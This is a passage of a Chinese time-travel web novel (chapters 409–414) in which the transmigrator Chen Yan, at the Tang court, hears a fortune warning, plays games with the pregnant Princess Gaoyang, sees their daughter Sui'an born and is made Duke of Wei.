《我让高阳扶墙,高阳为我痴狂》 第409章 运势有变? “陛下,您这话说得,搞得好像我这脑子是啥国宝一样。”陈衍无语。 本以为说句玩笑话,能将这个话题扯过去,没曾想李世民听后更认真了:“你这脑子,说是国宝没什么问题。” “简直比稀罕物还稀罕!” 陈衍:“.....” 李世民啧啧一声,摇头叹息,心里说不出的感慨。 从去年开始,李世民自己,包括长孙皇后、杜如晦等一众大臣就知道,陈衍是一位足以比肩冠军侯的绝世天才。 这不是捧杀,亦不是往大的夸赞,而是他们真的是这么认为的。 李世民一直都清楚,世间是有真天才的,包括他自己也是一样。 他可以毫不客气地说,纵观古史,论用兵之道他当为第一! 只是,在处理朝政方面,他实际上算不上多优秀。 故此在陈衍出现后,李世民才对陈衍如此重视。 但李世民是真没想到,陈衍竟然妖孽到了这种地步,在别人眼里无比困难的问题,在他面前仿佛跟小学堂的先生问小孩的问题一样简单。 这样的人物太难得了,千年也不一定能出一个。 所幸陈衍始终是站在他们这一边的,且没有一点野心,这才是李世民最为感到欣慰的点。 “来,随朕走走。” 李世民看了眼围着马蹄铁观看的几人,用下巴朝远处示意,然后背着手缓缓走去。 陈衍会意,抬步跟上。 “陛下,这些东西越王殿下出了很大力,否则可能还需要一段时间才能造出来。” “稍后我会将所有东西的制作方法整理出来,然后派人送到您那边。” 李世民淡笑:“倒也不必如此着急,朕明白你想让无旌骑尽快出征,所以你先尽快将他们所需的武器铠甲打造出来先吧。” “至于战马......” 他沉吟道:“朕想想办法给你弄一批好的,争取尽快给你调过来。” “但朕丑话说在前头,朕对无旌骑的支持只在出征前,一旦出了大唐,朕只会暗中在边境各方给他们安排一些据点以及粮草,其他一切便需要靠他们自己了。” 陈衍心里一喜,“没问题,只要陛下提供几个隐蔽的据点和粮草就好,我相信他们一定不会让陛下失望的。” “不过......” 他搓搓手,“我还想问陛下借一批人手,想给无旌骑八百人配备这样的武 器装备,我的人手根本不够。” 李世民想起玄夜铠以及陌刀,沉默片刻,揉揉太阳穴道:“你别说朕抠门,这样,人手朕给你找,钱朕出一半,要求是今年上半年之前,无旌骑必须出发,且到年底必须要让朕看到一定成果,如何?” “那怎么好意思呢?”陈衍嘿嘿道:“不知......人手什么时候能到位?” “你可真不好意思!”李世民笑骂一句。 “放心吧,不会差你小子的,人手朕不缺,过两天给你送过来。” “对了。”他似是想起了什么,“高阳最近还好吧?” “挺好的,能吃能睡。”陈衍吐槽道:“但那张破嘴太气人了,都快要生了还不老实,整天叭叭个不停。” 李世民:“说得好像你嘴很甜似的,你们俩半斤对八两,谁也别说谁。” “算了,朕懒得理会你们两个,孩子生下来写信告诉朕一声。” “宫里这两天事多,朕不能久留,先走了。” 李世民似乎确实有事,走得比较匆忙,陈衍送他离开后,回来发现牛进达他们竟还围着那些东西兴致勃勃地讨论。 只有袁天罡和李淳风表现得淡定些,各自看过之后,站在不远处闲聊。 陈衍走过去笑着拱手:“国师、太史令,近来可好?” “好啊!”李淳风点头说:“有你堂堂渭南伯关照,我俩能不好吗?” “对,没错!”袁天罡附和道:“整天学着怎么带兵,跟着士兵一起训练,完了之后我吃嘛嘛香,倒头就睡,几个月下来身子骨都比从前强多了,这可都要感谢伯爷啊。” 陈衍:“......” 这些话,听起来怎么怨气那么大呢? “二位大人,你们都不是一般人物,这么久过去了,咋还跟我一个孩子计较呢?” 他乐呵呵道:“事实上,你们自己心里不也不排斥吗?” “否则就我那点小手段,哪能逼得了你们啊?” 李淳风冷哼:“话是这么说,但我俩自由自在了半辈子,连陛下都未曾强迫过我们如何,你小子上来就给我们冷不丁来了一下,导致我俩现在被各种规矩束缚,你还指望我俩给你好脸色?” “那我还让你们一身本事有了用武之地呢。”陈衍梗着脖子道:“如果不是我,你们整天给人算算命,看看相,这有啥用啊?” “就像当初太史令算出兕子命中有劫,但你解得了吗?” “你解不了!” “可你若是走出大唐,用自己的本事为大唐找来更好的药,更好的医者,他们说不定就可以救兕子呢?” 陈衍板着脸:“你们看看这天下百姓,前些年经历了多少灾难?如今又有多少人食不果腹?” “你们算出来又能如何呢?” “去大唐之外,带来更好的粮种,让百姓一亩地的收获远超以往,让家家皆有余粮,那么他们还会挨饿吗?” “我......” “行行行!”李淳风听得头疼,挥手打断:“我不就跟你抱怨几句吗?” “至于扯那么多吗?” “道理我们都明白,我们也没说不去啊!” “既然答应,何必抱怨呢?”陈衍一本正经道:“抱怨是不行的,如果你们心里带着怨气,未来史书只会记载是渭南伯陈衍逼迫你们前往大唐之外。所有的功劳可都是我这个逼迫者的了。” “你们两个被迫者自然会被一笔带过。” “二位大人,你们也不想功劳被我全占吧?” “得得得!”李淳风都无语了,这小子是真能扯啊。 但他依然没忘了正事,提醒道:“你最近的运势有较大的波动,你得注意点了。” “......” 第410章 衍子没石粒啊 “运势有波动?” 陈衍脸色一变。 如果是其他人跟他说这种话,他估计懒得理会,但说这话的人是李淳风,他不得不重视了。 “太史令,能否具体说说,什么叫运势有较大波动?” “我亦不知。”李淳风摇头:“倘若是其他人,哪怕这个人是陛下,我与袁兄合力,亦能算出几分。” “可这个人是你,我们能看出来你运势有较大波动已经很难了,连你的运势是往好还是往坏都不太清楚。” “所以我才叫你注意一下。” 陈衍脸色有些难看。 这可不是一个好消息。 要知道,最近高阳刚好快生了啊。 如果是往坏的方向发展...... “太史令,请问是否有方法稳定这所谓的运势?我不奢望它往好的方向发展,只求别往坏的方向走,寻常便好。” “你的话.....没有!”李淳风很实诚。 对陈衍这个特殊的人,他们确实没有任何办法。 袁天罡此时安慰道:“陈先生放宽心,我倒是觉得应该不是坏事。” “李兄曾说,你的运势有剧烈波动的时候,还是去年刚跟高阳公主订婚之时。从那以后,你便一飞冲天了。” “这次想必也是一样,估计是有好事发生了。” 陈衍脸色更难看了。 这特么不更糟了? 自从跟高阳订婚之后,他都已经离自己过上依山傍水的生活越来越远了,生活整天鸡飞狗跳的,这是好事? 见自己安慰没有效果,反倒让陈衍表情更难看,袁天罡与李淳风对视一眼,默默退走了。 反正该说的说了,其他就不关他们的事了。 不过此前袁天罡确实没骗陈衍,他有种预感,陈衍应该是要撞上大好事了。 “......” 隔天一早,高阳起床,在香岚的服侍下洗漱,用早膳。 本以为今天又是无聊的一天,没曾想刚发呆一会儿,忽然看见陈衍抱着一个大箱子走进来。 高阳意外道:“你今天没去县衙吗?” “咋?你很希望我走吗?”陈衍将箱子放在床边,随后回道。 “那倒也没有。”高阳这次没有口是心非,挑眉说:“不过我平常老听你说,渭南县已经进入飞速发展的时期,你的钱庄也越来越好了,最近应该很忙才对。” “再忙也不能不顾我的傲娇小娇妻啊。”陈衍手中动作一顿,漫不经心道:“你都要生了,我哪有心思去县衙?” “我昨天跟杜构他们说好了,有事来家里找我,在你生下孩子之前,我都陪着你。” 高阳蹙了蹙眉,感觉有些不对劲。 但没等她多想,注意力便被陈衍端来的大箱子所吸引。 “这不是你那个工作间里的箱子吗?平时我想看看你还不让,今天怎么拿来了?” “哪有不让看。”陈衍吩咐香岚把桌子移过来,然后解释道:“主要是怕你们沉迷进去,这些不是什么重要东西,就是我做来用来娱乐的东西罢了。” “现在看你实在无聊,拿出来让你玩玩。” 高阳紧紧盯着陈衍,见他神色无异,默默点头,“行,我倒要看看是什么娱乐的东西,还怕我沉迷进去。” 陈衍打开箱子,给高阳展示:“来,里面都是玩的,你选一个吧。” 高阳望着箱子里那些奇奇怪怪的东西,根本不清楚到底是干嘛的,随便指着一个五颜六色的小方块,“那个是干嘛的?” “这个啊......”陈衍乐呵呵道:“这个可是很考验脑子的,是我做给兕子他们的玩具,叫做魔方。” “来,你试试看。” 高阳迟疑一下,接过陈衍递过来的魔方,仔细打量一会儿,好奇道:“既然是玩具,那怎么玩?” “很简单,它是可以扭动的,你得通过扭动让每个面的颜色统一,兕子一炷香的时间便可以做到,我相信你也可以。” 高阳轻哼:“我肯定做得比她好。” “是吗?我很期待。”陈衍嘴角挂着意味深长的笑。 半个时辰后...... “陈衍!!你个王八蛋是不是糊弄老娘?这东西根本不可能做到每个面颜色一样。”高阳气急败坏地将魔方扔回箱子里。 “不玩了,你就是拿我找乐子,我说你怎么那么好心陪我玩呢!” 陈衍不语,捡回魔方,当着她的面用极快的速度把魔方复原了。 随后,他把魔方往前一递,露出耐人寻味的目光。 “嗯哼?” 高阳:“......” “你成心的吧?” “谁让你选个难的?”陈衍撇嘴,重新从箱子里拿出一个盒子。 “来,我教你玩一个大富翁的游戏,咱们两个通过掷骰子......” 高阳听完游戏规则,立即来了兴趣:“这个好,我要玩这个。” “行,没问题!”陈衍铺开画的图,准备好骰子、钱、代表人物的棋子,跟高阳玩了起来。 高阳在这方面运气似乎很不错,手里的钱渐渐多了起来,反倒是陈衍运气不佳,没过多久就快到破产的边缘。 惹得高阳嘎嘎直乐,开心的不行。 香岚和青儿对视一眼,悄悄抿嘴笑了,轻手轻脚退了出去,留他俩在屋里独处。 “哈哈,小衍子,不行了吧?” 高阳晃着手里厚厚一沓纸币,得意洋洋地看着刚刚宣布破产的陈衍。 “不服!再来!”陈衍装作气急败坏的样子,又拉着她玩了好几局。 结果还是一样,高阳大获全胜。 这下高阳更神气了,小下巴扬得老高,眼睛亮晶晶的,像只骄傲的小孔雀。 “运气罢了,有什么好得意的?有种玩魔方啊?” “呵呵,一次两次是运气,这都连赢五把了,还能是运气?”高阳瞪眼:“这叫实力,实力懂不懂?” “至于你输那么多次,当然不是运气不好,而是衍子你没石粒啊!” 陈衍被她这番歪理说得哭笑不得,却也没反驳。 他只是静静地看着她,看着她眉飞色舞的模样,看着她因为兴奋而泛红的脸颊,看着她眼中闪烁的明亮光芒。 陈衍的眼神不自觉地柔和下来,唇角微微上扬。 “......” 第411章 高阳要生了!!! 四月一,是陈衍近期寻常的一天。 自从李丽质他们回来之后,陈衍便教了高阳公主、以及越王妃打麻将。 三女瞬间就迷上了,高阳的生活不再枯燥,不需要跟以往一样躺在床上发呆,而是挺着个大肚子兴奋地喊碰! 这天,四人打麻将到傍晚,李丽质丢出手里最后一块银子,颇为气恼道:“不玩了,钱又输光了。” “哈哈哈哈,荔枝也没石粒!”高阳龇着牙花将李丽质的银子收入囊中,心情好得不得了。 长这么大,她还是头一次看到李丽质这般模样,哪怕上次被陈衍短暂地赶回宫都只是沉默而已。 “高阳牌技越来越好了,今日天色已晚,咱们明天再打吧。”越王妃含笑道。 高阳得意洋洋:“四皇嫂说的哪里话,你的牌技也不差,今日确实晚了点,明天咱们继续杀他们个片甲不留!” “好。”越王妃微笑着点头,拉了拉气恼的李丽质,出去了。 “怎么样,小衍子,现在服你棠姐了吧?” 两人一走,高阳便迫不及待地对陈衍炫耀。 “得了吧你。”陈衍白了她一眼,“你也就仗着点狗屎运嘚瑟了,等你倒霉了,我和丽质绝对一雪前耻。” “啊对对对,你说的对。”高阳敷衍。 她已经不像从前那般傻了,老想着跟陈衍争,常被一句话惹生气,最后每次都吵不赢,动手更打不过。 不如学着陈衍‘啊对对对’就完了。 反正赢的是她。 别说,说出这句‘啊对对对’后,高阳心里一下子畅快了。 只觉得哪哪都舒坦。 陈衍有些诧异高阳的回答,心里一阵怪异,试探性地继续说:“你本来就是狗屎运啊,从小陛下和皇后殿下宠着你,又嫁给我这个好夫君,继续宠着你,等孩子出生了,未来孩子宠着你。” “你不是狗屎运是什么?” 高阳嗤笑:“前面那个和后面那个我都认,但中间那个嘛......” 她看向陈衍的目光里满是鄙夷,“呵呵。” 陈衍:“......” “算了,我不跟你吵,已经很晚了,我吃饭去。” 他说完起身,跟高阳示意一下,然后出去了。 高阳并不在意,望向面前有些凌乱的桌子,喊道:“香岚,赶紧收拾一下,将桌子移回去,别挡着床了。” “哎,好嘞,公 主。” 香岚听后连忙把麻将收拾好,把桌子重新移回去。 高阳则靠在床上哼着小曲,满脸舒坦。 她习惯性地摸摸自己的大肚子,脑瓜子不知道在寻思什么,嘴角微微勾起,看起来很是高兴。 忽然,她眉头一皱,低头看向自己的肚子,里面的孩子又在闹了,动作挺大,她有些难受。 不过高阳没多想,这段时间孩子经常这样,她都快习惯了。 不久之后便会安静下来。 然而,这次好像跟以往不同,随时间推移,她非但没有好受一点,反而更疼了,而且疼痛还在迅速加剧。 高阳瞬间想起父皇派来的那些产婆,跟自己提过孩子出生前的感受,虽然略微有些出入,但却是大差不差的。 此时此刻,她哪里还不明白,自己等待已久的日子来了! 高阳呼吸渐渐急促,强忍着疼痛感,一手死死抓着被子呼喊:“香岚......香岚,快去喊陈衍,我......我好像要生了。” “啊?” 香岚原本还在打扫屋子,一时没注意高阳,听见这话,瞬间傻了。 “还不......快去!” 高阳死死咬着牙,雪白的脖颈、额头,已经有青筋崩起,丝丝冷汗也从她额间浮现。 “哎,哎,我......我这就去!” 香岚手足无措,回过神慌忙跑出主卧大喊:“伯爷,伯爷,您快来啊!公主殿下要生了!!!” 香岚带着哭腔的呼喊,瞬间打破了傍晚宁静的县令府。 此刻,陈衍和刚回来的李泰、越王妃、李丽质、以及几个小家伙正在等待下人端菜上来吃晚饭。 听到这话,陈衍猛地抬起头。 其余人也不能平静。 李泰迟疑道:“刚刚我听错了?我好像听到有人喊公主殿下要生了,是高阳吧?” 众人面面相觑,寂静一瞬,然后全部慌忙起身,朝着主卧的方向冲过去。 “丽质,快,快去叫那些产婆,让她们到我提前准备好的屋子里去!” “青儿去准备热水之类的东西,快!” 李丽质和青儿不敢耽误,连忙按照陈衍的吩咐去办。 偌大的县令府气氛一下子变得忙碌起来。 主卧内,高阳正蜷缩在床上,双手死死抓着身下的锦被,指节因为用力而泛白,额头沁出大颗大颗的汗珠,紧咬着下唇,发出压抑 的、痛苦的呻吟。 听到急促的脚步声,她艰难地抬起眼,看到是陈衍,那双因为疼痛而有些涣散的眸子里,瞬间涌上了难以言喻的依赖和委屈。 “陈......陈衍,疼......” 陈衍一个箭步冲到床边,用最轻柔,最小心的动作缓缓抱着她起来,用尽可能平稳温和的声音安抚道:“别怕,别怕,我在这儿呢!没事的,没事的......” 他心里亦是紧张无比,吞了口唾沫,抱着她走进旁边的厢房内。 这里是陈衍提前准备好用来给高阳生产的,他几乎用尽了自己能想到的一切办法来消菌杀毒,里面一切东西都被严格要求。 陈衍小心地将高阳放在床上,用袖子笨拙地替她擦拭额头的冷汗,触手一片冰凉,更让他心惊。 “产婆呢?为什么还没来?!”陈衍猛地回头,看向越王妃和慌作一团的香岚,声音因为紧张而有些沙哑。 “来了,产婆来了!” 李丽质带着七八位产婆走进来,青儿后脚便带着丫鬟将一切生孩子需要用到的东西放进来。 为了这一刻,陈衍已经准备太久了,其他先不说,热水都是十二个时辰随时备好的。 “除了产婆之外,其他人都出去,别待在这里挤着了。” 陈衍努力压着心里的焦急低吼。 “哎哎,好好好!” 李丽质他们不敢耽误,急忙退出房间,给关上了门。 陈衍深呼吸一口,转头看去,被长孙皇后安排过来的产婆们已经开始替高阳接生了。 “昭棠......” “.......” 第412章 这么丑的孩子怎么可能是我跟陈衍的女儿? “怎么样!怎么样?” 李泰比较肥胖,虽然是跟陈衍同一时间出发的,但显然来晚了些。 “还不知道,夫君在里面,产婆们也都在里面了。”李丽质双手紧紧交握,目光一秒也离不开那紧闭的房门。 就连平时最吵闹的兕子和城阳这两个小活宝,此刻也安安静静地站在李丽质身边,小脸上写满了担忧。 “陈兄在里面啊!”李泰马上放心了许多。 陈衍的医术在皇宫里被传得神乎其神,从小体弱的兕子被养得白白胖胖,时常病发的长孙皇后现在凤体康健,连身患绝症,一只脚踏进鬼门关的杜如晦都能硬生生拉回来。 解决一个生孩子的问题,想必不是什么问题。 越王妃见气氛凝重,便用开玩笑的语气说:“你从前不是跟高阳妹妹很不对付吗?怎的现在如此担心了?” “那都是小时候不懂事,闹着玩的。”李泰叹了口气,“亲兄妹之间,哪有什么真正的仇怨?你可别把我想得太小心眼了。” 越王妃安慰道:“皇后殿下派来的产婆都是为宫里服务的,接生的经验起码几十年了,加上有渭南伯在,肯定会没事的。” “嗯!”李泰与李丽质兄妹齐齐点头。 与此同时,厢房内,卫婆语气轻柔,看上去并不急促:“公主殿下,您别急,千万不要急着用力,慢慢来哈。” “嗯!”高阳几乎是从牙缝中挤出一个字,她感觉自己整个人都要被撕裂了,另一只手死死攥着陈衍的手,指甲几乎要嵌进他的肉里,额头上沁出的汗珠早已打湿了鬓发。 陈衍任由她抓着,一动也不动,另一只空着的手用温热的毛巾,一遍遍轻柔地擦拭她额头的冷汗。 “棠儿,记得我们这段时间一直玩的呼吸游戏吗?”陈衍稍稍俯身,让自己的目光与她对视。 高阳不清楚陈衍为什么提起这个,但还是艰难地点点头,表示自己记得。 “很好,那咱们再玩一次好不好?” 陈衍慢慢引导她使用拉玛泽呼吸法:“呼吸,跟着我,吸气......呼气......对,就是这样,你很棒,非常棒......” “按照这个节奏呼吸,别停。” 出于对陈衍的信任,高阳很快便进入了节奏。一部分注意力被转移,剧烈的疼痛感稍稍有所减弱。 陈衍的余光一直注意着这些产婆,但不得不说,这些人确实经验丰富,特别是经过他一段时间教导 ,做得还算不错。 起码在这个时代条件下,陈衍已经挑不出什么理了。 “啊!!!” 高阳喉咙中迸发出一声压抑不住痛苦的低吼。她从小金尊玉贵,没受过半点委屈,即便是当初被陈衍当着众人面打屁股,也只是觉得羞辱,未曾掉过一滴泪。 可此刻,生理上无法抗拒的极致疼痛,混合着对未知的恐惧和对孩子安危的担忧,终于冲垮了她的防线,晶莹的泪珠混杂着汗水,不受控制地滚落下来。 “我......我不行了......陈衍......好疼......”她呜咽着,声音里充满了脆弱。 “你可以的,昭棠!看着我!”陈衍握紧她的手,语气前所未有地温柔,“你是我陈衍的妻子,是长安城最骄傲的高阳公主,这点难关怎么可能闯不过去?我们的孩子正在努力出来见他的娘亲,你忍心放弃吗?” “继续坚持一下,好吗?” 他一边说着,一边用眼神示意卫婆。 卫婆会意,赶忙说:“公主!看到头了!头发乌黑,是个有福气的孩子!您再加把劲,就快成功了!” “听到没有?孩子等着你呢!”陈衍的声音放缓,却红了眼眶:“来,跟着下一次疼的时候,用力!把我手捏断都没关系!” “啊!!!” 又是一声低吼,陈衍心里说不出什么感受,牙关不禁紧咬,明明可以继续鼓励妻子,却再也说不出任何一句话了。 在这一刻,他穿越者的优越感、他身为医者的冷静,全数瓦解。他只是一个眼睁睁看着妻子在鬼门关前搏命,除了鼓励和陪伴,却无法分担丝毫痛苦的丈夫。 他将高阳的手抵在自己额间,滚烫的泪珠在不知不觉间从他的脸庞滑落。 这是最为原始的传承! 这是一位母亲的赞歌! 这是世间最闪耀的奇迹! 来自生命的奇迹! “哇啊——!!!” 充满了蓬勃的生命力的哭声骤然间响起,宣告着一个新生命的正式降临。 高阳闻声,整个人如同被抽走了所有力气,彻底瘫软下去,只有胸口在剧烈地起伏,但她的目光,却急切地、充满渴望地投向哭声传来的方向。 卫婆利落地处理好一切,将那个浑身还带着胎脂、哭得小脸通红却手脚有力的婴儿用柔软的襁褓包裹好,满脸堆笑地抱到两人面前: “恭喜伯爷!贺喜公主!是位极健 康的小娘子!您听听这哭声,多洪亮!母女平安!一切顺遂!” “听到了?棠儿,咱们的女儿出生了!”陈衍紧紧回握住高阳的手,劫后余生的颤抖和巨大的喜悦,高高悬着的心此刻总算落了下来。 高阳呼吸急促,目光从那个小婴儿转移到丈夫身上,她苍白的脸上,忽地绽放出了笑容。 “陈......陈衍......你......你哭了!” “哈哈......你哭了!” “我,我要笑你......一......一整年!” 陈衍:“......” 他表情僵硬了一瞬,嘴角抽搐,见高阳没事,从卫婆怀中接过襁褓中的女儿。 看了看,他稍稍往前递了递,“昭棠,你看,这是咱们的女儿,是不是很漂亮?” 高阳抽了抽鼻子,“刚刚我就想说了,你们是不是抱错了?” “这么丑的孩子怎么可能是我跟陈衍的女儿?” “你看她皱巴巴的,鼻子不是鼻子,眼睛不是眼睛,脑袋......脑袋怎么还尖尖的?” 陈衍:“......” “......” 第413章 陈衍两度破防 高阳自认为长得不差,纵使比李丽质差了一丝丝,但也算得上惊艳的美人,丈夫陈衍同样是长安城有名的翩翩佳公子。 两人结合怎么可能生出来一个皱巴巴的女儿嘛? 她严重怀疑陈衍又在糊弄自己。 不曾想,随着她那句话说出来,陈衍瞬间破防了。 这特么可是自己两世为人第一个孩子,而且还是个闺女啊。 “什么玩意就抱错了,还狗屁的脑袋尖尖!那我问你,今天偌大的渭南伯府就你一个人生孩子,上哪抱错去?” “还有,那我问你,谁家刚生出来的孩子不是这样的?” “不都是养一段时间才好看的吗?” “啊?回答我!” 高阳:??? “我......” 她憋着口气,想起身跟陈衍掰扯两句,但实在太过虚弱,又重新躺了回去。 “算了,我懒得跟你吵吵,我就知道刚刚的温情都是骗人的,你赶紧麻溜滚,我需要休息。” 陈衍嘴唇轻动,看高阳苍白的脸庞,心又软了下来:“那你先休息一会儿,我去让青儿给你熬红糖水,准备些吃食带过来。” “嗯......”高阳现在累得一句话都不想说了,轻轻嗯了句算是回应。 陈衍喜滋滋地瞅着襁褓中刚哭累了,现在眯着眼睛睡大觉的女儿,对卫婆说:“今天谢谢你们了,把这里收拾好之后,去找小顺子领赏钱吧。” “哎,多谢伯爷了。”卫婆一听,顿时喜笑颜开。 说实话,他们干的这活儿还挺费命的,专门替这些贵人们接生,如果顺利的话,绝对能拿不少赏钱,不要还不行。 但如果不顺利的话,那可能明天就得去见阎王爷了。 陈衍没管她们,抱着女儿脚步轻快地出去。 门外,李丽质等人一下子围了过来。 “怎么样?还顺利吗?高阳妹妹休息了吗?” “很顺利,过程有点曲折,但结果很好。”陈衍紧了紧襁褓,后退一步:“还有,你们别离我那么近,吵到我闺女睡觉了。” 众人:“......” “是个女孩啊?”李泰高兴地凑上来,“那挺好,让我这个当舅舅的看看。” 知道高阳没事之后,大家的注意力一下子被孩子吸引了,李泰还没看两眼,便被李丽质和越王妃挤开了。 “哎,你别说,这闺女确实不一样哈,虽 然才生出来,但明显比一般孩子漂亮许多,还记得我家当初欣儿刚出生的时候,简直没眼看。” 李丽质眼睛亮晶晶的,一眨不眨地盯着襁褓中熟睡的婴儿,一个劲地点头。 这也算是自己的女儿呀。 “皇嫂,你看这眉眼和嘴巴,是不是挺像我夫君的?鼻子倒是随了高阳妹妹。” “就是......” 李丽质忽地皱了皱眉:“这脑袋怎么尖尖的?” 陈衍:“......” 越王妃:“......” 李泰不知为何,一下子乐了。 陈衍又特么破防了:“什么脑袋尖尖的?那我问你,孩子不都这样吗?高阳第一次生孩子,出现这样的情况很正常好吧?” “养两天就好了!!!” 最后一句话,他几乎是从牙缝中挤出来的。 自家闺女实在太惨了,刚出生被自己什么都不懂的亲娘嫌弃也就罢了,连李丽质这个经常带孩子的都这样说! 实在可恶! 李丽质有些不太好意思道:“抱歉,是我的话欠妥,主要是之前兕子她们小时候没出现过这样的情况。” 李泰笑道:“兕子他们很正常,那个时候阿娘已经生过好几次孩子了,不能放在一起比较。” “当初欣儿刚出生的时候,也是这样的,我说过几句,还被语儿打了呢。” “你活该!”越王妃吐槽。 “好吧......” 李丽质本想说太子妃生的儿子没这种情况,可一看陈衍死死瞪着她,她不敢说了。 此时,陈衍忽然感觉有人在扒拉自己,低头一看,原来是兕子这个小家伙。 “阿兄,阿兄,我也想看看小侄女。” 对于这点小要求,陈衍自然不会拒绝,蹲下身子,给兕子和城阳公主看了看,然后说:“你小侄女太小了,现在需要休息,等她睡醒了再看好不好?” 已经看过小侄女,兕子已经满足了,乖巧地点头答应下来。 紧接着,陈衍跟李丽质他们说了会儿话,吩咐青儿去给高阳准备吃食,叮嘱一些注意事项后,便抱着女儿回了主卧。 “伯爷,您先去休息吃饭吧,我来照顾小姐。”香岚轻手轻脚地走进来说。 陈衍不舍道:“那你可得照顾好哈,要不然罚你俸禄。” 香岚:“......” 俸禄!俸禄,一天天就罚 俸禄。 这两个怎么一个路数啊? 自己就那么点俸禄,啥都没领到便全被罚了。 将女儿交给香岚照顾,陈衍出门也没去吃饭,屁颠屁颠跑去厨房亲自给高阳做饭了。 别的不说,高阳今天可是大功臣,必须得伺候到位了。 而且刚生下孩子这段时间需要特别注意,不能大补,饮食也要以清淡易消化的为主,可以加入一点益母草促进宫缩,将体内淤血排出去。 在给高阳熬排骨汤时,陈衍不自觉想起了李淳风跟自己说近期运势有变那件事。 也正因为李淳风的一席话,害自己担心了好多天,连县衙都不去了,天天陪在高阳身边,陪她玩,陪她下地慢慢行走。 可问题是,已经过去这么多天了,他身上好像没什么变化啊。 难道是因为其他? 陈衍百思不得其解,索性不想了。 反正高阳顺产,母女平安,哪怕接下来自己倒霉也没关系,如果有好事发生那就更好了。 左右都能接受。 “伯爷!”这时,青儿走过来,兴冲冲问道:“小姐已经出生了,您想好该给小姐取什么名字了吗?” “名字?”陈衍一怔。 青儿这话倒是提醒了他,女儿已经出生,确实该取个名字了。 “......” 第414章 渭国公!永宁郡主! 隔天清晨,高阳在香岚的服侍下吃完早饭,喂女儿吃饱之后,她叫来陈衍,夫妻俩围着熟睡的女儿商讨名字。 “叫初阳怎么样?”高阳提议,“这个名字不但有初日阳光之意,还暗合我的封号,是个不错的选择。” “你快拉倒吧,这有点不像女孩名字,况且为什么一定要暗合你的封号啊?”陈衍吐槽道:“暗合封号还不如名字呢,给取一个棠。” “也行啊!”高阳眼睛顿时亮了。 “行什么行,不行!”陈衍当即反驳:“闺女像你那不废了吗?你自己什么样你有点数好不好?” 硬了! 高阳的拳头硬了! 要不是此时她身上还没多少力气,绝对要狠狠给陈衍一拳! 什么叫像她就废了? 她有那么差劲吗? 高阳很想反驳,但想想自己的性格,最终愤愤不说话了。 该说不说,她还是有自知之明的,也不喜欢女儿像自己。 “那你说,叫什么好?” “这不在想吗?”陈衍摸着下巴,“你等我想想,别急嘛。” 高阳不满道:“你想女儿想了那么久,我怀孕十个月你怎么不知道想想?现在女儿出生你知道想了?” 她沉吟道:“不如叫令仪?取自《诗经》令仪令色,令仪指美好的仪容与风范,寓意她拥有美好的品行与端庄的举止,你觉得怎么样?” 陈衍依旧摇头,“我不希望女儿被名字束缚住,等长大了,老有人跟她说你父母给你取这个名字是希望你怎么样怎么样。” “寓意是好,但没必要。” “我只希望她快快乐乐,平平安安地长大便好,就跟我父母给我取字为“子安”一样。” “通俗易懂,没有什么特别的寓意,他们就是希望我平安罢了。” 高阳愣了愣,反常地没有反驳,也没说什么不好听的话,而是道:“那你快想想,母后当初就说等孩子生下来告诉她一声,现在名字都没取,我都不知道怎么说。” 陈衍望着女儿熟睡的模样,又想起自己刚刚说的话,以及从前程咬金他们告诉自己“子安”的意义,恍惚了一瞬: “就叫......” “岁安吧!” “岁安?”高阳呢喃一遍,已经明白了这个名字的意义,展颜笑了:“好,就依你,从今往后她便叫岁安了。” “嗯,辛苦你了。”陈衍看着高阳才恢 复一丝血色的脸庞,有些心疼。 高阳瞥了他一眼,“不辛苦,命苦!” 陈衍:“......” 当天上午,一封信件从县令府发出,径直送往皇宫。 刚下朝的李世民收到信件,听高阳已经诞下一女,母女平安,顿时大喜。 带着信件来到立政殿,给长孙皇后也看了看。 她感慨道:“岁安......岁安啊!” “这名字,跟子安他父母对他的期望一模一样啊。” “谁说不是呢?”李世民叹气:“陈家还真是一脉相承,对自己子女的期望永远是这么朴实无华,却又令人动容。” “陛下!”长孙皇后道:“等了这么久,臣妾觉得是时候了,即使子安并不在意,但我们却不能什么都不做。” “况且,高阳从前便跟臣妾说,子安想要一个女儿,现在心愿达成,想必是高兴的,不如送他一个喜上加喜。” “若您担心未来,那便给岁安吧。” “不用!”李世民大手一挥,“来人!” “陛下!”无舌躬着身子小心翼翼地走过来。 “拟旨!” “......” 又是一天过去,陈衍今天本打算去一趟县衙,毕竟高阳已经安全生下女儿,是时候去县衙一趟了。 等下午的时候再回来跟闺女贴贴。 不曾想,还没等他出门,便被焦急的小顺子拦住了。 “伯爷!”小顺子连忙说:“外面来了许多宫里的人,宫女和宦官排成了好几排,正往我们这边来呢。” “小的还看到了太子殿下在里面。” “承乾兄?”陈衍心中一动,似乎猜到了什么,赶紧说:“赶紧去叫越王,越王妃,让丽质抱着岁安出来。” “是!”小顺子一听,二话不说小跑离开。 不多时,李泰和越王一家,以及抱着岁安的李丽质来了。 恰好,李承乾跟无舌领着一大帮人进来。 跟以往不同的是,李承乾和无舌此刻表情较为严肃,没有了从前跟他见面时那种放松。 李承乾暗中给了陈衍一个眼神,后者会意,没开小差或者凑上前。 “渭南伯,陈衍接旨!” 无舌拿出一份圣旨,陈衍等人躬身。 “奉天承运,皇帝诏曰!” “朕闻褒德赏功,乃国之大典;崇孝表贤,为家之鸿规。今 有渭南伯陈衍,功标社稷,德润苍生。其秉超世之才,怀济物之仁。妙手岐黄,延国母之圣寿。忠勤固于金石,功业著于旗常。 “昔以微功,授尔渭南伯。今稽茂勋,宜进崇爵。兹特晋封尔为“渭国公”,食邑三千户。尔其恪恭忠贞,永续嘉猷,钦哉! “另谕,渭国公陈衍之女,陈氏岁安,毓秀名门,钟灵璇室。尔父功在千秋,尔当享其殊荣。朕感其门楣之庆,念其家教之方,特封尔为“永宁郡主”。赐鸾章玉册,享汤沐之仪。” “钦此!” 陈衍茫然地抬起头,女儿受封,他前面已经猜到了。 毕竟女儿刚出生,李承乾和无舌就带着这么多宫里人来,哪有那么巧的事? 他立下了太多功劳,却没得到相等的赏赐,李世民心里一直有愧,补偿在他女儿身上很正常。 可让陈衍没想到的是,自己竟然还被封国公了。 虽然‘渭’不是古国,但这可是一度被称为母亲河的渭水啊,地位崇高,且他从前就是渭南伯,现在直接变成渭国公,其寓意并不简单。 “国公爷,领旨吧。” 无舌笑眯眯地走上来,将圣旨递给他。 陈衍这才回过神,谢过之后郑重地接过圣旨。 李承乾这才放松了许多,哈哈大笑地走到李丽质面前,“来,让我看看我的小外甥女,今后你便是永宁郡主了。” “......” 第415章 要不要摆两桌? 